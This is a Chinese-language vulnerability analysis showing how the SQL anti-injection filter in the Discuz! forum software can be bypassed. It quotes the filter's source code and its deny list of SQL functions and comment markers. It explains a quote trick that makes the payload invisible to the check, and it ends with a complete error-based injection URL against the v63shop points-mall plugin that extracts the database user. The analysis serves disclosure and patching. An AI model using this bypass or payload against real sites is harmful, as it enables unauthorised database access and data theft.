discuz介绍:
Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。
DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接 http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,SafeKey Team分析了某互联网公司披露的discuz v63积分商城插件注入漏洞,发现discuz本身的防注入机制可以被绕过,且无限制。
Discuz防注入分析如下:
先看防注入配置:
1
2
3
4
5
6
|
$_config[‘security’][‘querysafe’][‘status’] = 1; // 是否开启SQL安全检测,可自动预防SQL注入攻击
$_config[‘security’][‘querysafe’][‘dfunction’] = array(‘load_file’,‘hex’,‘substring’,‘if’,‘ord’,‘char’);
$_config[‘security’][‘querysafe’][‘daction’] = array(‘intooutfile’,‘intodumpfile’,‘unionselect’,‘(select’, ‘unionall’, ‘uniondistinct’);
$_config[‘security’][‘querysafe’][‘dnote’] = array(‘/*’,‘*/’,‘#’,‘–’,‘”‘);
$_config[‘security’][‘querysafe’][‘dlikehex’] = 1;
$_config[‘security’][‘querysafe’][‘afullnote’] = 0;
|
Discuz 执行SQL语句之前会调用{/source/class/discuz/discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static function checkquery($sql) {
if (self::$config === null) {
self::$config = getglobal(‘config/security/querysafe’);
}
if (self::$config[‘status’]) {
$cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ‘ ‘))));
if (in_array($cmd, self::$checkcmd)) {
$test = self::_do_query_safe($sql);
if ($test < 1) {
throw new DbException(‘It is not safe to do this query’, 0, $sql);
}
}
}
return true;
}
|
上面的if (self::$config[‘status’]) {判断有木有开启防注入。最终会self::_do_query_safe($sql);
调用 _do_query_safe()函数。跟进该函数,在同文件的363行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
private static function _do_query_safe($sql) {
$sql = str_replace(array(‘////’, ‘///’‘, ‘//“‘, ‘/’/”), ”, $sql);
$mark = $clean = ”;
if (strpos($sql, ‘/’) === false && strpos($sql, ‘#’) === false && strpos($sql, ‘– ‘) === false) {
$clean = preg_replace(“/‘(.+?)’/s“, ”, $sql);
} else {
$len = strlen($sql);
$mark = $clean = ”;
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case ‘/”:
if (!$mark) {
$mark = ‘/”;
$clean .= $str;
} elseif ($mark == ‘/”) {
$mark = ”;
}
break;
case ‘/’:
if (empty($mark) && $sql[$i + 1] == ‘*’) {
$mark = ‘/*’;
$clean .= $mark;
$i++;
} elseif ($mark == ‘/*’ && $sql[$i - 1] == ‘*’) {
$mark = ”;
$clean .= ‘*’;
}
break;
case ‘#’:
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case “/n“:
if ($mark == ‘#’ || $mark == ‘–’) {
$mark = ”;
}
break;
case ‘-’:
if (empty($mark) && substr($sql, $i, 3) == ‘– ‘) {
$mark = ‘– ‘;
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? ” : $str;
}
}
$clean = preg_replace(“/[^a-z0-9_/-/(/)#/*///”]+/is”, “”, strtolower($clean));
if (self::$config[‘afullnote’]) {
$clean = str_replace(‘/**/’, ”, $clean);
}
if (is_array(self::$config[‘dfunction’])) {
foreach (self::$config[‘dfunction’] as $fun) {
if (strpos($clean, $fun . ‘(‘) !== false)
return ‘-1′;
}
}
if (is_array(self::$config[‘daction’])) {
foreach (self::$config[‘daction’] as $action) {
if (strpos($clean, $action) !== false)
return ‘-3′;
}
}
if (self::$config[‘dlikehex’] && strpos($clean, ‘like0x’)) {
return ‘-2′;
}
if (is_array(self::$config[‘dnote’])) {
foreach (self::$config[‘dnote’] as $note) {
if (strpos($clean, $note) !== false)
return ‘-4′;
}
}
return 1;
}
|
该防注入函数的关键绕过代码在:
1
2
3
4
5
|
if (strpos($sql, ‘/’) === false && strpos($sql, ‘#’) === false && strpos($sql, ‘– ‘) === false) {
$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);
}
else
{
|
在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。所以会执行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原来SQL语句中两个单引号中间的内容就会被替换为空。并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,
@’
是为空的,所以我们的攻击语句可以放到两个@’
中间,即使GPC开启,单引号被转义为/’,而@’
变成@/’
对注入也是没有影响的,所以此绕过方法无限制。
即针对该注入漏洞的攻击EXP为:
1
|
http://www.91ri.org/ discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`
|
调试输出SQL语句:
可以看到我们的注入语句被替换掉了,所以后面的检查字符的时候并没有发现注入语句。
最终成功利用:
官网补丁:http://www.discuz.net/forum.php?mod=viewthread&tid=3234536
本文分析人:晴天小铸,Seay
原文地址:http://netsecurity.51cto.com/art/201303/386717.htm
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号